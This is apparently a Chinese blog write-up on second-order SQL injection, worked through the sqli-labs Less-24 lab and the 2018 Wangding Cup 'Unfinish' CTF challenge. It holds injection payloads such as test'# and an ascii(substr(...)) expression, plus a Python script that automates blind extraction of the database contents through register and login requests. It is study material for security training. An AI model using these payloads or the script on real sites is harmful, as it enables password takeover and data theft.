二次注入(SQL)

zyToJH發表於2024-04-17

先來一段理論

二次SQL隱碼攻擊(Second-Order SQL Injection)是一種特殊型別的SQL隱碼攻擊。與一般的SQL隱碼攻擊類似,攻擊者會透過輸入惡意的SQL語句來執行非法操作。而二次SQL隱碼攻擊則是指攻擊者在應用程式中注入惡意的資料,然後等待應用程式將這些資料儲存在資料庫中。當應用程式再次從資料庫中讀取這些資料時,惡意資料就會被讀取出來,並執行惡意操作。例如,一個web應用程式可能會將使用者輸入的內容儲存在資料庫中,然後在後續的頁面中將這些內容顯示出來。如果攻擊者在使用者輸入中注入了惡意SQL語句,那麼這些語句會被儲存在資料庫中。當應用程式從資料庫中讀取這些內容並在後續的邏輯中使用時,惡意SQL語句就有可能被執行,從而導致攻擊成功。

例題

sqli靶場的Less-24

開啟靶場發現是一個登入頁面,需要我們輸入使用者名稱和密碼

觀察一下,一般都存在註冊頁面,那麼下方的New User click here應該就是註冊頁面

我們先註冊一個使用者test密碼是123,之後跳轉至登入頁面

使用test/123登入,發現登入成功,並且帶有使用者名稱的回顯,這裡就存在二次注入的風險

首先,當我們在註冊頁面輸入使用者名稱和密碼時,網站會把輸入的資料儲存在資料庫中

而當我們登入成功後會把使用者名稱回顯在網頁上,這說明網站又呼叫資料庫,並從中把資料庫中的資料取了出來,如果我們在註冊頁面就插入惡意程式碼,在在重置密碼的頁面呼叫,即可實現注入

我們註冊一個新使用者test'#,密碼是1234

登入後修改密碼為110120,發現test'#使用者的密碼沒變,而test使用者密碼變成了110120

檢視下原始碼

發現當我們輸入test'#時,閉合了sql查詢語句username的前一個單引號,而註釋符號後面的內容無效,此時sql語句變為

UPDATE users SET PASSWORD='$pass' where username='test'#' and password='$curr_pass' "等效於UPDATE users SET PASSWORD='$pass' where username='test'

那麼最後改變的就是test使用者的密碼

此時,如果我們在註冊頁面的使用者名稱輸入的是類似於ascii(substr((select database()) from 1 for 1))的語句,即可實現從資料庫中讀取資料,完成注入!

2018網鼎杯Unfinish

這道題與上題類似,但難度更高

開啟是一個登入介面,憑經驗來說,這種一般還存在註冊頁面,只是ctf的題沒有跳轉的介面,需要自己尋找(掃後臺dirsearch、御劍都可以),或者直接盲猜

來到註冊頁面,發現我們需要輸入郵箱、使用者名稱和密碼,嘗試輸入

註冊後又跳轉到了登入頁面

透過郵箱和密碼實現登入後,發現來到另一個介面index.php,並且有qwe的回顯,考慮二次注入的方向。

這裡的邏輯基本就是在註冊頁面注入惡意資料,在登入頁面呼叫資料庫中的髒資料,實現注入1,最後把結果返回到index.php頁面

ok

開始注入,先拿一個注入舉例子,之後可以寫指令碼實現批次注入

就拿實現成功回顯資料庫名的第一個字元為例

我們在註冊頁面的使用者名稱欄輸入0'+ascii(substr((select database()) from 1 for 1))+'0

之後登入,發現此時回顯的不是使用者名稱0'+ascii(substr((select database()) from 1 for 1))+'0,而是119,就是資料庫名稱的第一個字元,檢視acii碼錶,發現是小寫w

ok,之後實現批次注入

指令碼如下

 1 #coding:utf-8
 2 import requests
 3 from bs4 import BeautifulSoup
 4 import time
 5  
 6  
 7 url = 'http://61.147.171.105:52577/'
 8  
 9 m = ''
10 for i in range(100):
11     #payload = "0'+ascii(substr((select database()) from {} for 1))+'0".format(i + 1)
12     payload = "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i+1)#判斷每一位ascii碼是多少
13     register = {'email':'abc{}@qq.com'.format(i),'username':payload,'password':'123456'}
14     login = {'email':'abc{}@qq.com'.format(i),'password':'123456'}
15     req = requests.session()
16     r1 = req.post(url+'register.php',data = register)
17     r2 = req.post(url+'login.php', data = login)
18     r3 = req.post(url+'index.php')
19     html = r3.text
20     #print(html)
21     soup = BeautifulSoup(html,'html.parser')
22     #print(soup.prettify())
23     UserName = soup.span.string
24     print(UserName)
25     if int(UserName) == 0:
26         break
27     m += chr(int(UserName))
28     print(m)
29     time.sleep(1)

執行指令碼即可獲得flag

注意點

關於本題SQL中如何閉合單引號的問題

因為此題中#被過濾,導致我們無法閉合單引號

MySQL中的+只能當做運算子,而不能用作字串的連線符號,如下圖

當+兩邊一邊是數值,一邊是字串時,會將字串轉換為數值之後再相加,如果我們輸入0'+ascii()+'0,最後就會變為'0'+ascii()+'0'即為ascii(),成功完成注入!

requests.exceptions.ConnectTimeout

執行py指令碼,一開始經常報錯

requests.exceptions.ConnectTimeout

查了一下是因為設定的時間太短,當伺服器在指定的時間內未做出響應,則會丟擲requests.exceptions.ConnectTimeout的錯誤

具體可以參考文章:https://blog.csdn.net/yuan2019035055/article/details/126628852

總結

SQL的二次注入是兩個頁面執行了同一處輸入點,導致第二次執行了已經儲存在資料庫中的惡意程式碼,讓攻擊者完成注入!

本菜鳥也嘗試開始寫點py指令碼,像本題中就使用了beautifulSoup的第三方庫來完成對flag的提取。

參考部落格:

https://blog.csdn.net/qq_53079406/article/details/125284454?app_version=6.3.2&code=app_1562916241&csdn_share_tail=%7B%22type%22%3A%22blog%22%2C%22rType%22%3A%22article%22%2C%22rId%22%3A%22125284454%22%2C%22source%22%3A%22m0_75046593%22%7D&uLinkId=usr1mkqgl919blen&utm_source=app

https://blog.csdn.net/qq_54929891/article/details/124911240?app_version=6.3.2&code=app_1562916241&csdn_share_tail=%7B%22type%22%3A%22blog%22%2C%22rType%22%3A%22article%22%2C%22rId%22%3A%22124911240%22%2C%22source%22%3A%22m0_75046593%22%7D&uLinkId=usr1mkqgl919blen&utm_source=app

https://zhuanlan.zhihu.com/p/39917830